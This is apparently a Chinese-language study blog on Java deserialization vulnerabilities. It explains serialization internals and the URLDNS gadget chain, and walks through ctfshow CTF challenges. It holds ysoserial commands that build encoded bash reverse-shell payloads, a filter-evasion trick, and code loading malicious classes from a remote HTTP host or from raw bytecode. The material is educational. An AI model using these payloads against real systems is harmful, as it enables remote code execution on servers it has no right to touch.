Java反序列化学习(1)

Java反序列化学习

参考资料

重要接口和类(这段全是摘抄的)

  • Serializable
    这是一个空接口,实现了这个接口的类可以进行序列化/反序列化。

这个对象的所有属性(包括private属性、包括其引用的对象)都可以被序列化和反序列化来保存、传递。不想序列化的字段可以使用transient修饰。

由于Serializable对象完全以它存储的二进制位为基础来构造,因此并不会调用任何构造函数,因此Serializable类无需默认构造函数,但是当Serializable类的父类没有实现Serializable接口时,反序列化过程会调用父类的默认构造函数,因此该父类必需有默认构造函数,否则会抛异常。

使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。

如果一个对象既不是字符串、数组、枚举,而且也没有实现Serializable接口的话,在序列化时就会抛出NotSerializableException异常。原来Serializable接口仅仅只是做一个标记用,它告诉代码只要是实现了Serializable接口的类都是可以被序列化的!然而真正的序列化动作不需要靠它完成。

注意:被static和transient修饰的字段是不会被序列化的。

  • Externalizable
    这是一个继承自Serializable接口的接口,用户需实现writeExternal()和readExternal() 方法,用来决定如何序列化和反序列化。

因为序列化和反序列化方法需要自己实现,因此可以指定序列化哪些属性,而transient在这里无效。

readExternal(),writeExternal()两个方法,这两个方法除了方法签名和readObject(),writeObject()两个方法的方法签名不同之外,其方法体完全一样。

需要指出的是,当使用Externalizable机制反序列化该对象时,程序会使用public的无参构造器创建实例,然后才执行readExternal()方法进行反序列化,因此实现Externalizable的序列化类必须提供public的无参构造。

  • readObject
    readObject() 方法:

    • 在自定义序列化时,您可以在类中定义 readObject() 方法。
    • 当对象从流中反序列化时,readObject() 方法会被调用,用于读取对象的属性并恢复其状态。
    • readObject() 方法中,您可以使用 ObjectInputStream 提供的 readXXX 方法来读取类的属性。
    • 请注意,读取属性的顺序必须与 writeObject() 方法中写入属性的顺序相同。
  • writeObject

    • 在自定义序列化时,您可以在类中定义 writeObject() 方法。
    • 当对象被序列化时,writeObject() 方法会被调用,用于将对象的属性写入流。
    • writeObject() 方法中,您可以使用 ObjectOutputStream 提供的 writeXXX 方法来写入类的属性。
  • ObjectOutputStream
    java.io.ObjectOutputStream 是实现序列化的关键类,它可以将一个对象转换成二进制流,然后通过 ObjectInputStream 将二进制流还原成对象。

  • ObjectInputStream
    java.io.ObjectInputStream 是实现Java反序列化的关键类,和 ObjectOutputStream 是对应的。

  • writeReplace
    writeReplace 方法用于序列化写入时拦截并替换成一个自定义的对象。这个方法也是在 ObjectStreamClass 类中被反射获取的

如果定义了writeReplace方法,就没必要再定义writeObject方法了。即使定义了writeObject方法,该方法也不会被调用,内部会先调用writeReplace方法将当前序列化对象替换成自定义目标对象。同理,也没必要定义readObject方法,即使定义了也不会被调用。

  • readReplace

readResolve 方法:
用于在对象从流中读取后进行解析。
典型用途是处理单例模式。当对象被读取时,可以将其替换为单例实例。这样可以确保通过序列化和反序列化单例对象,不会创建其他实例。
示例:如果一个对象包含一个可以从现有数据重新创建的缓存,而不需要序列化该缓存,可以将缓存字段声明为 transient,然后在 readResolve() 中重新构建它。
readReplace 方法:
用于替换从流中读取的对象。
当对象被读取时,可以将其替换为其他对象。
典型用途是在序列化代理中使用,以便在读取对象时返回不同的实例。
示例:您可以在 readReplace 中返回一个代理对象,以便在反序列化时返回不同的实例。
总之,readResolve 主要用于解析对象,而 readReplace 主要用于替换对象。如果您有更多问题,欢迎继续提问!

readResolve方法用于反序列化拦截并替换成自定义的对象。但和writeReplace方法不同的是,如果定义了readResolve方法,readObject方法是允许出现的。同样的,readResolve 方法也是在 ObjectStreamClass 类中被反射获取的。

readResolve方法的工作原理为:
- 首先调用readObject0方法得到反序列化结果。
- 如果readResolve方法存在,则会调用该方法返回自定义的对象。
- 将自定义的对象作为ObjectInputStreamreadObject的返回值。

readResolve方法的示例

  • SealedObject SignedObject
    通过加解密的方式来保护序列化安全

Java反序列化的可能利用方式

  1. 入口类readObject直接调用危险方法;
  2. 入口类参数中包含可控类,该类有危险方法,readObject时会调用;
  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时会调用;
  4. 构造函数/静态代码块等类加载时隐式执行。

Java反序列化漏洞利用共同的条件:

总体而言,“就是找能调用危险方法的类,然后符合条件的入口类,这就是尾和头,然后通过层层类的调用将头和尾串联起来闭合”

  1. 需要继承Serializable
  2. 入口类(source):需要重写readObject,最好参数类型宽泛,或者是jdk自带的类。
  3. 调用链(gadget chain):根据相同名称、相同类型的各种类和接口不停地调用。
  4. 执行类(sink):rce、ssrf或者写文件

如:

Map<Object, object>

HashMap<Object, object> HashTable<Object, object>

  1. 入口类(source):需要重写readObject,最好参数类型宽泛,或者是jdk自带的类。

简单案例:入口类readObject直接调用危险方法

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Person implements Serializable {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
System.out.println("serserser");
Runtime.getRuntime().exec("calc");
}
}

SerializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
public class SerializeTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("per.ser"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("AA",22);
System.out.println(person);
serialize(person);
}
}

UnserializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
public class UnserializeTest {
public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception {
Person person = (Person) unserialize("per.ser");
System.out.println(person);
}
}

Person类直接重写了readObject()方法,造成弹计算器

1
2
3
4
5
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
System.out.println("serserser");
Runtime.getRuntime().exec("calc");
}

注意:这个方法是个私有方法,需要用private修饰

案例2:序列化过程中的问题(以URLDNS链为例)

看这个代码:(URLDNS链)

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SerializeTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("per.ser"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("AA",22);
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://4t15g7.dnslog.cn"),1); // 在这一行触发了hashCode()函数。
serialize(person);
}
}

在put的过程中,因为URL类在实例化对象的时候,其hashCode初始值为-1。这就会触发handler.hashCode()方法,然后就运行了InetAddress addr = getHostAddress(u);,dnslog那边就有回显。

URL.java

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

反序列化时却无法触发。这是因为,在进行初始化时,即运行HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();时,hashCode被初始化为-1。但是后面put的时候,URL的hashCode属性已经被赋值了,不是-1了,会直接运行return hashCode;反序列化就没法触发了。

该如何改变这个问题呢?就是通过反射。
SerializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class SerializeTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("per.ser"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// 这里不发起请求,把url对象的hashCode改成非-1的数
URL url = new URL("http://er62vs.dnslog.cn");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234); //hashCode属性原本为-1(private int hashCode = -1;),给它修改为1234。
hashMap.put(url,1);

// 把hashCode改回-1(通过反射)
hashcodefield.set(url,-1);
serialize(hashMap);
}
}

UnserializeTest.java

1
2
3
4
5
6
7
8
9
10
11
public class UnserializeTest {
public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception {
unserialize("per.ser");
}
}

绕过了在put时对url.hashCode的检查。

整个的URLDNS链就是这样。
HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

反射在反序列化漏洞中的应用

  1. 定制需要的对象;
  2. 通过invoke调用除了同名函数以外的函数;
  3. 通过Class类创建对象,引入不能序列化的类。(一般用于Java命令执行)
    如,Java的命令执行一般为
    1
    Runtime.getRuntime().exec("calc");
    但是Runtime无法被序列化。但我们又无法通过同名函数绕过(readObject()的方法体里鲜少有getRuntime()方法)。那么思路就是找到可以利用的invoke方法,从而传入getRuntime字符串作为参数。

小妙招:因为反射非常灵活,所以如果加入一些简单的过滤,我们可以这样绕过:
如,屏蔽了hashCode,这段代码会被过滤:

1
Field hashcodefield = c.getDeclaredField("hashCode");

但是,因为我们传入的是字符串,所以可以通过字符串的操作来绕过这个过滤。

1
Field hashcodefield = c.getDeclaredField("hash"+"Code");

例题学习: ctfshow-web入门 Java反序列化

web846

提示:

1
2
3
ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag

URLDNS利用链。使用ysoserial来做。ysoserial最好在linux上运行,jdk弄到1.8。

1
java -jar ysoserial.jar URLDNS "https://2e00f767-b3c3-44eb-9f32-5c37ef072ff8.challenge.ctf.show/" | base64 -w 0

经过r3师傅指点,知道了换行-w 0会对输出造成影响。这里直接取消换行,即可通过。

从这个wp偷了一个exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("https://82a29d49-0758-485a-927e-3d8a6b5287af.challenge.ctf.show/");
// 修改初始的hashCode,使得序列化时不会触发
Class c = url.getClass();
Field urlfield = c.getDeclaredField("hashCode");
urlfield.setAccessible(true);
urlfield.set(url,1234);
hashMap.put(url,1);
urlfield.set(url,-1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}

web847

1
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

直接弄个反弹shell

1
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}"|base64 

试了CommonsCollections1、3,都不行,5成功了。

后面尝试手写。

附录和一些基础知识

Java 反射

Java 反射 概念 Powered By GPT

Java 反射是指在运行时检查、获取和操作类、接口、字段、方法以及构造方法的能力。通过 Java 反射,你可以在运行时获取类的信息,如类名、字段、方法、注解等,并可以动态地创建对象、调用方法、访问或修改字段值,而不需要在编译时确定这些操作。

Java 反射提供了以下主要功能:

  • 获取类信息:可以获取类的名称、修饰符、父类、实现的接口等信息。
  • 获取构造方法和实例化对象:可以获取类的构造方法并用它们来实例化对象。
  • 获取方法信息:可以获取类的方法信息,包括方法名、参数列表、返回类型等。
  • 调用方法:可以在运行时动态调用类的方法。
  • 访问和修改字段:可以在运行时访问和修改类的字段值。
  • 注解操作:可以获取类、方法、字段等上的注解信息。
    反射是一种强大的工具,但同时也增加了复杂性和性能开销。因此,在使用反射时需要权衡其优点和缺点,并谨慎使用。

Java 反射 例子

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class Person {
private String name;
private int age;

public Person() {}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

private void printDetails() {
System.out.println("Name: " + name + ", Age: " + age);
}

public void action(String s){
System.out.println(s);
}
}

ReflectionExample.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionExample {
public static void main(String[] args) {
try {
// 获取 Person 类的 Class 对象
Class<?> personClass = Class.forName("Person");
//这是通过类名(字符串形式)来获取对应的Class对象。Class.forName("Person")方法会查找并加载Person类,并返回它的Class对象。这个步骤使得在编译时无需知道类的具体信息,而是可以在运行时动态地获取。
//当然,也可以通过Person person = new Person(); Class personClass = person.getClass();来实现。

// 创建 Person 类的实例
Constructor<?> constructor = personClass.getConstructor(String.class, int.class);
// 通过personClass.getConstructor方法,获取一个特定的构造函数。这里传入的是构造函数参数的类型列表(String.class和int.class),这个步骤用于查找匹配的构造函数。在这个例子中,我们找到了一个接受String和int参数的构造函数。
Object personInstance = constructor.newInstance("John Doe", 30);
// 一旦获取了构造函数,我们可以通过newInstance方法创建类的实例,并传入构造函数所需的参数。在这里,我们传入了"John Doe"和30,分别对应Person类的构造函数参数。这一步实际上是动态地调用构造函数创建对象实例。

// 访问私有字段 name
Field nameField = personClass.getDeclaredField("name");
// 在Java反射中,Field是一个类,用于表示类的字段(成员变量)。通过反射,你可以使用Field类获取、修改类的字段(包括私有字段)的值。Field类位于java.lang.reflect包中。
nameField.setAccessible(true); // 由于字段是私有的,需设置为可访问
String name = (String) nameField.get(personInstance);
System.out.println("Name: " + name);

// 修改私有字段 name
// 在Java反射中,通过Field类的get和set方法可以直接访问和修改对象的字段值,这是因为反射提供了一种动态访问和操作对象字段的机制。这种机制使得你可以在运行时绕过通常的访问控制(如private和protected),直接操作对象的字段。
nameField.set(personInstance, "Jane Doe");
name = (String) nameField.get(personInstance);
System.out.println("Updated Name: " + name);

// 调用公有方法 getAge
Method getAgeMethod = personClass.getMethod("getAge");
int age = (int) getAgeMethod.invoke(personInstance);
System.out.println("Age: " + age);

// 调用私有方法 printDetails
Method printDetailsMethod = personClass.getDeclaredMethod("printDetails");
printDetailsMethod.setAccessible(true); // 由于方法是私有的,需设置为可访问
printDetailsMethod.invoke(personInstance);

// 调用公有方法 action
Method action = personClass.getDeclaredMethod("action", String.class); // 注意声明字段类型
action.invoke(personInstance,"adfadfa"); //调用方法,传参

} catch (Exception e) {
e.printStackTrace();
}
}
}

结果:

1
2
3
4
5
Name: John Doe
Updated Name: Jane Doe
Age: 30
Name: Jane Doe, Age: 30
adfadfa

Java 动态代理

代理模式

Java 静态代理 例子

首先设一个接口 IUser.java

1
2
3
public interface IUser {
void show();
}

根据这个接口实现一个类 UserImpl.java

1
2
3
4
5
6
7
8
9
10
public class UserImpl implements IUser{
public UserImpl(){
// 构造函数
}

@Override
public void show() {
System.out.println("直接implement");
}
}

根据这个类实现一个代理类 UserProxy.java

1
2
3
4
5
6
7
8
9
10
11
public class UserProxy implements IUser{
IUser user;
public UserProxy(IUser user){
this.user = user; //构造函数
}
@Override
public void show() {
user.show();
System.out.println("经过了Proxy的show()");
}
}

写一个测试主类 ProxyTest.java

1
2
3
4
5
6
7
8
public class ProxyTest {
public static void main(String[] args) {
IUser user = new UserImpl();
user.show();
IUser userproxy = new UserProxy(user);
userproxy.show();
}
}

运行ProxyTest.java,得到

1
2
3
直接implement
直接implement
经过了Proxy的show()

Java 动态代理 例子

在上一节里,学习了静态代理的思路。但是当存在一系列方法非常相似的接口时,需要把这一系列方法接口全部在代理中实现,非常麻烦。所以引入了动态代理。

假如在上一个例子的基础上,接口IUser.java变成了这样:

1
2
3
4
5
6
7
public interface IUser {
void show();

void create();

void update();
}

相对的,UserImpl.java需要变成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class UserImpl implements IUser{
public UserImpl(){
// 构造函数
}

@Override
public void show() {
System.out.println("直接show implement");
}

@Override
public void create() {
System.out.println("直接create implement");
}

@Override
public void update() {
System.out.println("直接update implement");
}
}

如果要按照静态代理的方式,UserProxy.java也要完成新增方法的实现。

这里使用动态代理。ProxyTest.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
public static void main(String[] args) {
IUser user = new UserImpl();
user.show();
// 静态代理
IUser userproxy = new UserProxy(user);
userproxy.show();

// 动态代理
// Proxy.newProxyInstance()接受三个参数,分别为
// 要代理的接口(此处user.getClass().getInterfaces())
// 要做的事情(此处userinvocationhandler,即定义的UserInvocationHander.java,继承了InvocationHandler)
// classloader(此处user.getClass.getClassLoader())
InvocationHandler userinvocationhandler = new UserInvocationHandler(user);
IUser userproxydynamic = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userinvocationhandler);
userproxydynamic.create();
}
}

UserInvocationHandler.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
// 同时构造了无参构造函数和有参构造函数,更灵活
IUser user;
public UserInvocationHandler(){
// 无参构造函数
}
public UserInvocationHandler(IUser user){
// 有参构造函数
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("正在代理"+method.getName());
method.invoke(user,args);
return null;
}
}

运行结果

1
2
3
4
5
直接show implement
直接show implement
经过了Proxy的show()
正在代理create
直接create implement

在使用动态代理的时候,Proxy.newProxyInstance()可以把classInterface变成class数组。

1
IUser userproxydynamic = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userinvocationhandler);

修改为:

1
2
3
IUser userproxydynamic = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
new Class<?>[]{IUser.class},
userinvocationhandler);

动态代理在反序列化漏洞中的运用

动态代理作为一种设计模式,可以不修改原有类的同时增加功能,其修改代码较少,适配性较强。

  1. 自动执行:
    readObject在反序列化时自动执行;
    invoke在有函数调用时自动执行。
  2. 可以作为一种拼接两条链的方法:(如CC1)
    出口固定,但是入口可以任意。任意->固定
  3. 应用场景:
  • 如,B类的f方法B.f存在漏洞。
  • 找到了入口A,其接受一个类。A[O]
  • 接受这个类后,如果不存在直接的O.f触发漏洞,只有别的方法的调用,如O.abc
  • 这个时候,如果O是一个动态代理类,且其invoke()方法内可以调用f。如,O接受一个O2O2可以调用f,那么就可以将B传进去做这个O2,那么在invoke()时就可以出发B.f。因为动态代理无论调用什么方法都会调用invoke()
  • 利用链:A[O]->O.abc(此时会调用invoke())->B.f

Java 类加载机制和对象创建过程

Java类加载机制和对象创建过程

类加载机制

  1. 类加载与反序列化
    类加载时会执行代码:
  • 初始化时:静态代码块
  • 实例化时:构造代码块、无参构造函数。
  1. 动态类加载方法
    Class.forname方法可以动态加载类。

同时,加载类时可以选择初始化或者不初始化

如,ClassLoader.loadClass是不进行初始化的一种调用方式。

URLClassLoader实现任意类加载 file/http/jar

存在敏感应用的类ser.java,将其编译得到class文件。

1
2
3
4
5
6
7
8
9
public class ser {
static {
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}

编写URLClassLoader进行外部类的加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 注意,这里需要写一个URL路径,如果用file://协议,则需要将路径最后加\\,不然会把testdir当成一个大jar包。
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\Caogao\\JavaLearn\\Serialize_Learn\\testdir\\")}); // 注意,file://后还有一个/
// 加载类
Class<?> c = urlClassLoader.loadClass("ser");
// 实例化类
c.newInstance();
}
}

成功弹计算器。当然,这里的URL也可以是任意其他协议,如http://vps_host:vps_port/malclass_dir/。可以在那个有class文件的路径下开个HTTP服务,python -m http.server 9999,然后用http协议来引入包

1
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:9999/")});

也是一样的。如果加载jar,就jar:file:///dir/xxx.jar!/其中:

  • 在 jar 包路径后面加上 !,表示 jar 文件的结束
  • 如果要指定 jar 包中的具体类或资源路径,可以在 ! 后面添加相对路径。

ClassLoader.defineClass实现字节码加载任意类 (不需出网)

ClassLoader.defineClass是个protected的方法,所以需要使用反射调用,并设置Accessible为true。ser还是上面那个静态代码块里弹计算器的类。

1
2
3
4
5
6
7
8
9
10
public class ClassLoaderTest{
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader cl = ClassLoader.getSystemClassLoader(); // 初始化ClassLoader,获取系统类加载器
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); // 使用反射获取ClassLoader类中的defineClass方法,该方法用于将字节数组表示的类定义为一个新的 Class 对象。
defineClassMethod.setAccessible(true); //protected方法需要设置Accessible可访问
byte[] code = Files.readAllBytes(Paths.get("E:\\Caogao\\JavaLearn\\Serialize_Learn\\testdir\\ser.class")); //读取本地文件系统中的一个类文件(.class 文件)的字节码内容,并存储在 code 变量中。
Class c = (Class) defineClassMethod.invoke(cl,"ser",code,0,code.length); //通过 defineClass 方法将字节数组转换为 Class 对象。参数分别为类名("ser")、类的字节数组表示、起始偏移量(0)、数组长度(code.length)。这样就动态加载了一个名为 "ser" 的类。
c.newInstance(); // 实例化
}
}

Unsafe.defineClass实现字节码加载任意类 (不需出网)

Unsafe.defineClass字节码加载public类不能直接生成。Unsafe也不能直接调用。其一整个类都是private的。

1
private Unsafe() {}

直接运行

1
Unsafe.getUnsafe();

时,会报错:

1
2
3
Exception in thread "main" java.lang.SecurityException: Unsafe
at sun.misc.Unsafe.getUnsafe(Unsafe.java:90)
at ClassLoaderTest.main(ClassLoaderTest.java:36)

但是Unsafe在Spring里面可以直接生成加载。

Unsafe字节码加载任意类:ser还是上面那个静态代码块里弹计算器的类。

1
2
3
4
5
6
7
8
9
10
11
12
public class ClassLoaderTest{
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {
ClassLoader cl = ClassLoader.getSystemClassLoader(); // 获取系统类加载器,用于后续加载类。
Class c = Unsafe.class; // 获取 Unsafe 类的 Class 对象,因为 Unsafe 是一个特殊的类,不会被类加载器加载,所以可以直接使用其类对象。
Field theUnsafeField = c.getDeclaredField("theUnsafe"); // 使用反射获取 Unsafe 类中名为 theUnsafe 的字段,该字段是一个静态字段,存储了 Unsafe 的实例。
theUnsafeField.setAccessible(true); // 将 theUnsafe 字段设置为可访问。
Unsafe unsafe = (Unsafe) theUnsafeField.get(null); // 通过 get 方法获取 Unsafe 的实例。
byte[] code = Files.readAllBytes(Paths.get("E:\\Caogao\\JavaLearn\\Serialize_Learn\\testdir\\ser.class")); //读取本地文件系统中的一个类文件(.class 文件)的字节码内容,并存储在 code 变量中。
Class c2 = (Class) unsafe.defineClass("ser",code,0,code.length,cl,null); //使用 Unsafe 的 defineClass 方法定义一个新的类,并返回一个 Class 对象。参数包括类名("ser")、类的字节数组表示、起始偏移量(0)、数组长度(code.length)、类加载器(cl)和保护域(null)。
c2.newInstance();
}
}